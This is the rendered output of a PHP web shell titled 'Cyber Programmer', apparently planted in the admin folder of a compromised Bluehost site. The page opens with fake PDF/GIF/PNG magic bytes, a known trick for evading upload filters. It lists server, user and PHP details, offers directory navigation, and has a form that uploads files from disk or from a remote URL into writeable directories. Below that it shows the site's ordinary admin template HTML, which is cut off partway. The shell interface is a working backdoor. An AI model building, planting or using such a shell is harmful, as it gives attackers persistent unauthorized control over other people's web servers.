%PDF- %GIF98; %PNG;
<!DOCTYPE html>
<html>
<head>
	<title>.</title>
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<style>
	@import url('https://fonts.googleapis.com/css?family=Dosis');
	@import url('https://fonts.googleapis.com/css?family=Bungee');
body {
	font-family: "Dosis", cursive;
	text-shadow:0px 0px 1px #757575;
}

#content tr:hover {
	background-color: #636263;
	text-shadow:0px 0px 10px #fff;
}

#content .first {
	background-color: #25383C;
}

#content .first:hover {
	background-color: #25383C;
	text-shadow:0px 0px 1px #757575;
}

table {
	border: 1px #000000 dotted;
	table-layout: fixed;
}

td {
	word-wrap: break-word;
}

a {
	color: #ffffff;
	text-decoration: none;
}

a:hover {
	color: #000000;
	text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
	border: 1px #000000 solid;
	-moz-border-radius: 5px;
	-webkit-border-radius:5px;
	border-radius:5px;
}

.gas {
	background-color: #1f1f1f;
	color: #ffffff;
	cursor: pointer;
}

select {
	background-color: transparent;
	color: #ffffff;
}

select:after {
	cursor: pointer;
}

.linka {
	background-color: transparent;
	color: #ffffff;
}

.up {
	background-color: transparent;
	color: #fff;
}

option {
	background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<center>

<font face="Bungee" size="5">Cyber Programmer  </font></center>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<img src="https://s24.picofile.com/file/8451407292/vaker.jpg" width="280" height="280" title="Logo of a company" alt="Logo of a company" class="center" />

Server : <font color='gold'>Apache</font><br>System : <font color='gold'>Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64</font><br>User : <font color='gold'>ndkhermy&nbsp;</font>( <font color='gold'>1200</font>)<br>PHP Version : <font color='gold'>8.5.12</font><br>Disable Function : <font color='gold'>NONE</font></font><br>Directory : &nbsp;<a href="?path=/">/</a><a href="?path=/home1">home1</a>/<a href="?path=/home1/ndkhermy">ndkhermy</a>/<a href="?path=/home1/ndkhermy/www">www</a>/<a href="?path=/home1/ndkhermy/www/website_1ec2d7c2">website_1ec2d7c2</a>/<a href="?path=/home1/ndkhermy/www/website_1ec2d7c2/webroot">webroot</a>/<a href="?path=/home1/ndkhermy/www/website_1ec2d7c2/webroot/admin">admin</a>/</td></tr><tr><td><br>Upload File : <form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ <font color='green'>Writeable</font> ]
<input type="radio" value="2" name="dirnya" >document_root [ <font color='green'>Writeable</font> ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<input type="text" name="darilink" class="up" placeholder="https://anon7.xyz/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</form></table><br><tr><td>Current File : /home1/ndkhermy/www/website_1ec2d7c2/webroot/admin/index.html</tr></td></table><br/><pre>&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
  &lt;head&gt;
    &lt;meta charset=&quot;utf-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;meta name=&quot;description&quot; content=&quot;Creative - Bootstrap 3 Responsive Admin Template&quot;&gt;
    &lt;meta name=&quot;author&quot; content=&quot;GeeksLabs&quot;&gt;
    &lt;meta name=&quot;keyword&quot; content=&quot;Creative, Dashboard, Admin, Template, Theme, Bootstrap, Responsive, Retina, Minimal&quot;&gt;
    &lt;link rel=&quot;shortcut icon&quot; href=&quot;img/favicon.png&quot;&gt;

    &lt;title&gt;Creative - Bootstrap Admin Template&lt;/title&gt;

    &lt;!-- Bootstrap CSS --&gt;    
    &lt;link href=&quot;css/bootstrap.min.css&quot; rel=&quot;stylesheet&quot;&gt;
    &lt;!-- bootstrap theme --&gt;
    &lt;link href=&quot;css/bootstrap-theme.css&quot; rel=&quot;stylesheet&quot;&gt;
    &lt;!--external css--&gt;
    &lt;!-- font icon --&gt;
    &lt;link href=&quot;css/elegant-icons-style.css&quot; rel=&quot;stylesheet&quot; /&gt;
    &lt;link href=&quot;css/font-awesome.min.css&quot; rel=&quot;stylesheet&quot; /&gt;    
    &lt;!-- full calendar css--&gt;
    &lt;link href=&quot;assets/fullcalendar/fullcalendar/bootstrap-fullcalendar.css&quot; rel=&quot;stylesheet&quot; /&gt;
	&lt;link href=&quot;assets/fullcalendar/fullcalendar/fullcalendar.css&quot; rel=&quot;stylesheet&quot; /&gt;
    &lt;!-- easy pie chart--&gt;
    &lt;link href=&quot;assets/jquery-easy-pie-chart/jquery.easy-pie-chart.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;screen&quot;/&gt;
    &lt;!-- owl carousel --&gt;
    &lt;link rel=&quot;stylesheet&quot; href=&quot;css/owl.carousel.css&quot; type=&quot;text/css&quot;&gt;
	&lt;link href=&quot;css/jquery-jvectormap-1.2.2.css&quot; rel=&quot;stylesheet&quot;&gt;
    &lt;!-- Custom styles --&gt;
	&lt;link rel=&quot;stylesheet&quot; href=&quot;css/fullcalendar.css&quot;&gt;
	&lt;link href=&quot;css/widgets.css&quot; rel=&quot;stylesheet&quot;&gt;
    &lt;link href=&quot;css/style.css&quot; rel=&quot;stylesheet&quot;&gt;
    &lt;link href=&quot;css/style-responsive.css&quot; rel=&quot;stylesheet&quot; /&gt;
	&lt;link href=&quot;css/xcharts.min.css&quot; rel=&quot; stylesheet&quot;&gt;	
	&lt;link href=&quot;css/jquery-ui-1.10.4.min.css&quot; rel=&quot;stylesheet&quot;&gt;
    &lt;!-- =======================================================
        Theme Name: NiceAdmin
        Theme URL: https://bootstrapmade.com/nice-admin-bootstrap-admin-html-template/
        Author: BootstrapMade
        Author URL: https://bootstrapmade.com
    ======================================================= --&gt;
  &lt;/head&gt;

  &lt;body&gt;
  &lt;!-- container section start --&gt;
  &lt;section id=&quot;container&quot; class=&quot;&quot;&gt;
     
      
      &lt;header class=&quot;header dark-bg&quot;&gt;
            &lt;div class=&quot;toggle-nav&quot;&gt;
                &lt;div class=&quot;icon-reorder tooltips&quot; data-original-title=&quot;Toggle Navigation&quot; data-placement=&quot;bottom&quot;&gt;&lt;i class=&quot;icon_menu&quot;&gt;&lt;/i&gt;&lt;/div&gt;
            &lt;/div&gt;

            &lt;!--logo start--&gt;
            &lt;a href=&quot;index.html&quot; class=&quot;logo&quot;&gt;Nice &lt;span class=&quot;lite&quot;&gt;Admin&lt;/span&gt;&lt;/a&gt;
            &lt;!--logo end--&gt;

            &lt;div class=&quot;nav search-row&quot; id=&quot;top_menu&quot;&gt;
                &lt;!--  search form start --&gt;
                &lt;ul class=&quot;nav top-menu&quot;&gt;                    
                    &lt;li&gt;
                        &lt;form class=&quot;navbar-form&quot;&gt;
                            &lt;input class=&quot;form-control&quot; placeholder=&quot;Search&quot; type=&quot;text&quot;&gt;
                        &lt;/form&gt;
                    &lt;/li&gt;                    
                &lt;/ul&gt;
                &lt;!--  search form end --&gt;                
            &lt;/div&gt;

            &lt;div class=&quot;top-nav notification-row&quot;&gt;                
                &lt;!-- notificatoin dropdown start--&gt;
                &lt;ul class=&quot;nav pull-right top-menu&quot;&gt;
                    
                    &lt;!-- task notificatoin start --&gt;
                    &lt;li id=&quot;task_notificatoin_bar&quot; class=&quot;dropdown&quot;&gt;
                        &lt;a data-toggle=&quot;dropdown&quot; class=&quot;dropdown-toggle&quot; href=&quot;#&quot;&gt;
                            &lt;i class=&quot;icon-task-l&quot;&gt;&lt;/i&gt;
                            &lt;span class=&quot;badge bg-important&quot;&gt;6&lt;/span&gt;
                        &lt;/a&gt;
                        &lt;ul class=&quot;dropdown-menu extended tasks-bar&quot;&gt;
                            &lt;div class=&quot;notify-arrow notify-arrow-blue&quot;&gt;&lt;/div&gt;
                            &lt;li&gt;
                                &lt;p class=&quot;blue&quot;&gt;You have 6 pending letter&lt;/p&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;div class=&quot;task-info&quot;&gt;
                                        &lt;div class=&quot;desc&quot;&gt;Design PSD &lt;/div&gt;
                                        &lt;div class=&quot;percent&quot;&gt;90%&lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;progress progress-striped&quot;&gt;
                                        &lt;div class=&quot;progress-bar progress-bar-success&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;90&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 90%&quot;&gt;
                                            &lt;span class=&quot;sr-only&quot;&gt;90% Complete (success)&lt;/span&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;div class=&quot;task-info&quot;&gt;
                                        &lt;div class=&quot;desc&quot;&gt;
                                            Project 1
                                        &lt;/div&gt;
                                        &lt;div class=&quot;percent&quot;&gt;30%&lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;progress progress-striped&quot;&gt;
                                        &lt;div class=&quot;progress-bar progress-bar-warning&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;30&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 30%&quot;&gt;
                                            &lt;span class=&quot;sr-only&quot;&gt;30% Complete (warning)&lt;/span&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;div class=&quot;task-info&quot;&gt;
                                        &lt;div class=&quot;desc&quot;&gt;Digital Marketing&lt;/div&gt;
                                        &lt;div class=&quot;percent&quot;&gt;80%&lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;progress progress-striped&quot;&gt;
                                        &lt;div class=&quot;progress-bar progress-bar-info&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;80&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 80%&quot;&gt;
                                            &lt;span class=&quot;sr-only&quot;&gt;80% Complete&lt;/span&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;div class=&quot;task-info&quot;&gt;
                                        &lt;div class=&quot;desc&quot;&gt;Logo Designing&lt;/div&gt;
                                        &lt;div class=&quot;percent&quot;&gt;78%&lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;progress progress-striped&quot;&gt;
                                        &lt;div class=&quot;progress-bar progress-bar-danger&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;78&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 78%&quot;&gt;
                                            &lt;span class=&quot;sr-only&quot;&gt;78% Complete (danger)&lt;/span&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;div class=&quot;task-info&quot;&gt;
                                        &lt;div class=&quot;desc&quot;&gt;Mobile App&lt;/div&gt;
                                        &lt;div class=&quot;percent&quot;&gt;50%&lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;progress progress-striped active&quot;&gt;
                                        &lt;div class=&quot;progress-bar&quot;  role=&quot;progressbar&quot; aria-valuenow=&quot;50&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 50%&quot;&gt;
                                            &lt;span class=&quot;sr-only&quot;&gt;50% Complete&lt;/span&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;

                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li class=&quot;external&quot;&gt;
                                &lt;a href=&quot;#&quot;&gt;See All Tasks&lt;/a&gt;
                            &lt;/li&gt;
                        &lt;/ul&gt;
                    &lt;/li&gt;
                    &lt;!-- task notificatoin end --&gt;
                    &lt;!-- inbox notificatoin start--&gt;
                    &lt;li id=&quot;mail_notificatoin_bar&quot; class=&quot;dropdown&quot;&gt;
                        &lt;a data-toggle=&quot;dropdown&quot; class=&quot;dropdown-toggle&quot; href=&quot;#&quot;&gt;
                            &lt;i class=&quot;icon-envelope-l&quot;&gt;&lt;/i&gt;
                            &lt;span class=&quot;badge bg-important&quot;&gt;5&lt;/span&gt;
                        &lt;/a&gt;
                        &lt;ul class=&quot;dropdown-menu extended inbox&quot;&gt;
                            &lt;div class=&quot;notify-arrow notify-arrow-blue&quot;&gt;&lt;/div&gt;
                            &lt;li&gt;
                                &lt;p class=&quot;blue&quot;&gt;You have 5 new messages&lt;/p&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;span class=&quot;photo&quot;&gt;&lt;img alt=&quot;avatar&quot; src=&quot;./img/avatar-mini.jpg&quot;&gt;&lt;/span&gt;
                                    &lt;span class=&quot;subject&quot;&gt;
                                    &lt;span class=&quot;from&quot;&gt;Greg  Martin&lt;/span&gt;
                                    &lt;span class=&quot;time&quot;&gt;1 min&lt;/span&gt;
                                    &lt;/span&gt;
                                    &lt;span class=&quot;message&quot;&gt;
                                        I really like this admin panel.
                                    &lt;/span&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;span class=&quot;photo&quot;&gt;&lt;img alt=&quot;avatar&quot; src=&quot;./img/avatar-mini2.jpg&quot;&gt;&lt;/span&gt;
                                    &lt;span class=&quot;subject&quot;&gt;
                                    &lt;span class=&quot;from&quot;&gt;Bob   Mckenzie&lt;/span&gt;
                                    &lt;span class=&quot;time&quot;&gt;5 mins&lt;/span&gt;
                                    &lt;/span&gt;
                                    &lt;span class=&quot;message&quot;&gt;
                                     Hi, What is next project plan?
                                    &lt;/span&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;span class=&quot;photo&quot;&gt;&lt;img alt=&quot;avatar&quot; src=&quot;./img/avatar-mini3.jpg&quot;&gt;&lt;/span&gt;
                                    &lt;span class=&quot;subject&quot;&gt;
                                    &lt;span class=&quot;from&quot;&gt;Phillip   Park&lt;/span&gt;
                                    &lt;span class=&quot;time&quot;&gt;2 hrs&lt;/span&gt;
                                    &lt;/span&gt;
                                    &lt;span class=&quot;message&quot;&gt;
                                        I am like to buy this Admin Template.
                                    &lt;/span&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;span class=&quot;photo&quot;&gt;&lt;img alt=&quot;avatar&quot; src=&quot;./img/avatar-mini4.jpg&quot;&gt;&lt;/span&gt;
                                    &lt;span class=&quot;subject&quot;&gt;
                                    &lt;span class=&quot;from&quot;&gt;Ray   Munoz&lt;/span&gt;
                                    &lt;span class=&quot;time&quot;&gt;1 day&lt;/span&gt;
                                    &lt;/span&gt;
                                    &lt;span class=&quot;message&quot;&gt;
                                        Icon fonts are great.
                                    &lt;/span&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;See all messages&lt;/a&gt;
                            &lt;/li&gt;
                        &lt;/ul&gt;
                    &lt;/li&gt;
                    &lt;!-- inbox notificatoin end --&gt;
                    &lt;!-- alert notification start--&gt;
                    &lt;li id=&quot;alert_notificatoin_bar&quot; class=&quot;dropdown&quot;&gt;
                        &lt;a data-toggle=&quot;dropdown&quot; class=&quot;dropdown-toggle&quot; href=&quot;#&quot;&gt;

                            &lt;i class=&quot;icon-bell-l&quot;&gt;&lt;/i&gt;
                            &lt;span class=&quot;badge bg-important&quot;&gt;7&lt;/span&gt;
                        &lt;/a&gt;
                        &lt;ul class=&quot;dropdown-menu extended notification&quot;&gt;
                            &lt;div class=&quot;notify-arrow notify-arrow-blue&quot;&gt;&lt;/div&gt;
                            &lt;li&gt;
                                &lt;p class=&quot;blue&quot;&gt;You have 4 new notifications&lt;/p&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;span class=&quot;label label-primary&quot;&gt;&lt;i class=&quot;icon_profile&quot;&gt;&lt;/i&gt;&lt;/span&gt; 
                                    Friend Request
                                    &lt;span class=&quot;small italic pull-right&quot;&gt;5 mins&lt;/span&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;span class=&quot;label label-warning&quot;&gt;&lt;i class=&quot;icon_pin&quot;&gt;&lt;/i&gt;&lt;/span&gt;  
                                    John location.
                                    &lt;span class=&quot;small italic pull-right&quot;&gt;50 mins&lt;/span&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;span class=&quot;label label-danger&quot;&gt;&lt;i class=&quot;icon_book_alt&quot;&gt;&lt;/i&gt;&lt;/span&gt; 
                                    Project 3 Completed.
                                    &lt;span class=&quot;small italic pull-right&quot;&gt;1 hr&lt;/span&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;span class=&quot;label label-success&quot;&gt;&lt;i class=&quot;icon_like&quot;&gt;&lt;/i&gt;&lt;/span&gt; 
                                    Mick appreciated your work.
                                    &lt;span class=&quot;small italic pull-right&quot;&gt; Today&lt;/span&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;                            
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;See all notifications&lt;/a&gt;
                            &lt;/li&gt;
                        &lt;/ul&gt;
                    &lt;/li&gt;
                    &lt;!-- alert notification end--&gt;
                    &lt;!-- user login dropdown start--&gt;
                    &lt;li class=&quot;dropdown&quot;&gt;
                        &lt;a data-toggle=&quot;dropdown&quot; class=&quot;dropdown-toggle&quot; href=&quot;#&quot;&gt;
                            &lt;span class=&quot;profile-ava&quot;&gt;
                                &lt;img alt=&quot;&quot; src=&quot;img/avatar1_small.jpg&quot;&gt;
                            &lt;/span&gt;
                            &lt;span class=&quot;username&quot;&gt;Jenifer Smith&lt;/span&gt;
                            &lt;b class=&quot;caret&quot;&gt;&lt;/b&gt;
                        &lt;/a&gt;
                        &lt;ul class=&quot;dropdown-menu extended logout&quot;&gt;
                            &lt;div class=&quot;log-arrow-up&quot;&gt;&lt;/div&gt;
                            &lt;li class=&quot;eborder-top&quot;&gt;
                                &lt;a href=&quot;#&quot;&gt;&lt;i class=&quot;icon_profile&quot;&gt;&lt;/i&gt; My Profile&lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;&lt;i class=&quot;icon_mail_alt&quot;&gt;&lt;/i&gt; My Inbox&lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;&lt;i class=&quot;icon_clock_alt&quot;&gt;&lt;/i&gt; Timeline&lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;&lt;i class=&quot;icon_chat_alt&quot;&gt;&lt;/i&gt; Chats&lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;login.html&quot;&gt;&lt;i class=&quot;icon_key_alt&quot;&gt;&lt;/i&gt; Log Out&lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;documentation.html&quot;&gt;&lt;i class=&quot;icon_key_alt&quot;&gt;&lt;/i&gt; Documentation&lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;documentation.html&quot;&gt;&lt;i class=&quot;icon_key_alt&quot;&gt;&lt;/i&gt; Documentation&lt;/a&gt;
                            &lt;/li&gt;
                        &lt;/ul&gt;
                    &lt;/li&gt;
                    &lt;!-- user login dropdown end --&gt;
                &lt;/ul&gt;
                &lt;!-- notificatoin dropdown end--&gt;
            &lt;/div&gt;
      &lt;/header&gt;      
      &lt;!--header end--&gt;

      &lt;!--sidebar start--&gt;
      &lt;aside&gt;
          &lt;div id=&quot;sidebar&quot;  class=&quot;nav-collapse &quot;&gt;
              &lt;!-- sidebar menu start--&gt;
              &lt;ul class=&quot;sidebar-menu&quot;&gt;                
                  &lt;li class=&quot;active&quot;&gt;
                      &lt;a class=&quot;&quot; href=&quot;index.html&quot;&gt;
                          &lt;i class=&quot;icon_house_alt&quot;&gt;&lt;/i&gt;
                          &lt;span&gt;Dashboard&lt;/span&gt;
                      &lt;/a&gt;
                  &lt;/li&gt;
				  &lt;li class=&quot;sub-menu&quot;&gt;
                      &lt;a href=&quot;javascript:;&quot; class=&quot;&quot;&gt;
                          &lt;i class=&quot;icon_document_alt&quot;&gt;&lt;/i&gt;
                          &lt;span&gt;Forms&lt;/span&gt;
                          &lt;span class=&quot;menu-arrow arrow_carrot-right&quot;&gt;&lt;/span&gt;
                      &lt;/a&gt;
                      &lt;ul class=&quot;sub&quot;&gt;
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;form_component.html&quot;&gt;Form Elements&lt;/a&gt;&lt;/li&gt;                          
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;form_validation.html&quot;&gt;Form Validation&lt;/a&gt;&lt;/li&gt;
                      &lt;/ul&gt;
                  &lt;/li&gt;       
                  &lt;li class=&quot;sub-menu&quot;&gt;
                      &lt;a href=&quot;javascript:;&quot; class=&quot;&quot;&gt;
                          &lt;i class=&quot;icon_desktop&quot;&gt;&lt;/i&gt;
                          &lt;span&gt;UI Fitures&lt;/span&gt;
                          &lt;span class=&quot;menu-arrow arrow_carrot-right&quot;&gt;&lt;/span&gt;
                      &lt;/a&gt;
                      &lt;ul class=&quot;sub&quot;&gt;
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;general.html&quot;&gt;Elements&lt;/a&gt;&lt;/li&gt;
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;buttons.html&quot;&gt;Buttons&lt;/a&gt;&lt;/li&gt;
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;grids.html&quot;&gt;Grids&lt;/a&gt;&lt;/li&gt;
                      &lt;/ul&gt;
                  &lt;/li&gt;
                  &lt;li&gt;
                      &lt;a class=&quot;&quot; href=&quot;widgets.html&quot;&gt;
                          &lt;i class=&quot;icon_genius&quot;&gt;&lt;/i&gt;
                          &lt;span&gt;Widgets&lt;/span&gt;
                      &lt;/a&gt;
                  &lt;/li&gt;
                  &lt;li&gt;                     
                      &lt;a class=&quot;&quot; href=&quot;chart-chartjs.html&quot;&gt;
                          &lt;i class=&quot;icon_piechart&quot;&gt;&lt;/i&gt;
                          &lt;span&gt;Charts&lt;/span&gt;
                          
                      &lt;/a&gt;
                                         
                  &lt;/li&gt;
                             
                  &lt;li class=&quot;sub-menu&quot;&gt;
                      &lt;a href=&quot;javascript:;&quot; class=&quot;&quot;&gt;
                          &lt;i class=&quot;icon_table&quot;&gt;&lt;/i&gt;
                          &lt;span&gt;Tables&lt;/span&gt;
                          &lt;span class=&quot;menu-arrow arrow_carrot-right&quot;&gt;&lt;/span&gt;
                      &lt;/a&gt;
                      &lt;ul class=&quot;sub&quot;&gt;
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;basic_table.html&quot;&gt;Basic Table&lt;/a&gt;&lt;/li&gt;
                      &lt;/ul&gt;
                  &lt;/li&gt;
                  
                  &lt;li class=&quot;sub-menu&quot;&gt;
                      &lt;a href=&quot;javascript:;&quot; class=&quot;&quot;&gt;
                          &lt;i class=&quot;icon_documents_alt&quot;&gt;&lt;/i&gt;
                          &lt;span&gt;Pages&lt;/span&gt;
                          &lt;span class=&quot;menu-arrow arrow_carrot-right&quot;&gt;&lt;/span&gt;
                      &lt;/a&gt;
                      &lt;ul class=&quot;sub&quot;&gt;                          
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;profile.html&quot;&gt;Profile&lt;/a&gt;&lt;/li&gt;
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;login.html&quot;&gt;&lt;span&gt;Login Page&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;blank.html&quot;&gt;Blank Page&lt;/a&gt;&lt;/li&gt;
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;404.html&quot;&gt;404 Error&lt;/a&gt;&lt;/li&gt;
                      &lt;/ul&gt;
                  &lt;/li&gt;
                  
              &lt;/ul&gt;
              &lt;!-- sidebar menu end--&gt;
          &lt;/div&gt;
      &lt;/aside&gt;
      &lt;!--sidebar end--&gt;
      
      &lt;!--main content start--&gt;
      &lt;section id=&quot;main-content&quot;&gt;
          &lt;section class=&quot;wrapper&quot;&gt;            
              &lt;!--overview start--&gt;
			  &lt;div class=&quot;row&quot;&gt;
				&lt;div class=&quot;col-lg-12&quot;&gt;
					&lt;h3 class=&quot;page-header&quot;&gt;&lt;i class=&quot;fa fa-laptop&quot;&gt;&lt;/i&gt; Dashboard&lt;/h3&gt;
					&lt;ol class=&quot;breadcrumb&quot;&gt;
						&lt;li&gt;&lt;i class=&quot;fa fa-home&quot;&gt;&lt;/i&gt;&lt;a href=&quot;index.html&quot;&gt;Home&lt;/a&gt;&lt;/li&gt;
						&lt;li&gt;&lt;i class=&quot;fa fa-laptop&quot;&gt;&lt;/i&gt;Dashboard&lt;/li&gt;						  	
					&lt;/ol&gt;
				&lt;/div&gt;
			&lt;/div&gt;
              
            &lt;div class=&quot;row&quot;&gt;
				&lt;div class=&quot;col-lg-3 col-md-3 col-sm-12 col-xs-12&quot;&gt;
					&lt;div class=&quot;info-box blue-bg&quot;&gt;
						&lt;i class=&quot;fa fa-cloud-download&quot;&gt;&lt;/i&gt;
						&lt;div class=&quot;count&quot;&gt;6.674&lt;/div&gt;
						&lt;div class=&quot;title&quot;&gt;Download&lt;/div&gt;						
					&lt;/div&gt;&lt;!--/.info-box--&gt;			
				&lt;/div&gt;&lt;!--/.col--&gt;
				
				&lt;div class=&quot;col-lg-3 col-md-3 col-sm-12 col-xs-12&quot;&gt;
					&lt;div class=&quot;info-box brown-bg&quot;&gt;
						&lt;i class=&quot;fa fa-shopping-cart&quot;&gt;&lt;/i&gt;
						&lt;div class=&quot;count&quot;&gt;7.538&lt;/div&gt;
						&lt;div class=&quot;title&quot;&gt;Purchased&lt;/div&gt;						
					&lt;/div&gt;&lt;!--/.info-box--&gt;			
				&lt;/div&gt;&lt;!--/.col--&gt;	
				
				&lt;div class=&quot;col-lg-3 col-md-3 col-sm-12 col-xs-12&quot;&gt;
					&lt;div class=&quot;info-box dark-bg&quot;&gt;
						&lt;i class=&quot;fa fa-thumbs-o-up&quot;&gt;&lt;/i&gt;
						&lt;div class=&quot;count&quot;&gt;4.362&lt;/div&gt;
						&lt;div class=&quot;title&quot;&gt;Order&lt;/div&gt;						
					&lt;/div&gt;&lt;!--/.info-box--&gt;			
				&lt;/div&gt;&lt;!--/.col--&gt;
				
				&lt;div class=&quot;col-lg-3 col-md-3 col-sm-12 col-xs-12&quot;&gt;
					&lt;div class=&quot;info-box green-bg&quot;&gt;
						&lt;i class=&quot;fa fa-cubes&quot;&gt;&lt;/i&gt;
						&lt;div class=&quot;count&quot;&gt;1.426&lt;/div&gt;
						&lt;div class=&quot;title&quot;&gt;Stock&lt;/div&gt;						
					&lt;/div&gt;&lt;!--/.info-box--&gt;			
				&lt;/div&gt;&lt;!--/.col--&gt;
				
			&lt;/div&gt;&lt;!--/.row--&gt;
		
			
           &lt;div class=&quot;row&quot;&gt;
		    &lt;div class=&quot;col-lg-9 col-md-12&quot;&gt;
					
					&lt;div class=&quot;panel panel-default&quot;&gt;
						&lt;div class=&quot;panel-heading&quot;&gt;
							&lt;h2&gt;&lt;i class=&quot;fa fa-map-marker red&quot;&gt;&lt;/i&gt;&lt;strong&gt;Countries&lt;/strong&gt;&lt;/h2&gt;
							&lt;div class=&quot;panel-actions&quot;&gt;
								&lt;a href=&quot;index.html#&quot; class=&quot;btn-setting&quot;&gt;&lt;i class=&quot;fa fa-rotate-right&quot;&gt;&lt;/i&gt;&lt;/a&gt;
								&lt;a href=&quot;index.html#&quot; class=&quot;btn-minimize&quot;&gt;&lt;i class=&quot;fa fa-chevron-up&quot;&gt;&lt;/i&gt;&lt;/a&gt;
								&lt;a href=&quot;index.html#&quot; class=&quot;btn-close&quot;&gt;&lt;i class=&quot;fa fa-times&quot;&gt;&lt;/i&gt;&lt;/a&gt;
							&lt;/div&gt;	
						&lt;/div&gt;
						&lt;div class=&quot;panel-body-map&quot;&gt;
							&lt;div id=&quot;map&quot; style=&quot;height:380px;&quot;&gt;&lt;/div&gt;	
						&lt;/div&gt;
	
					&lt;/div&gt;
				&lt;/div&gt;
              &lt;div class=&quot;col-md-3&quot;&gt;
              &lt;!-- List starts --&gt;
				&lt;ul class=&quot;today-datas&quot;&gt;
                &lt;!-- List #1 --&gt;
				&lt;li&gt;
                  &lt;!-- Graph --&gt;
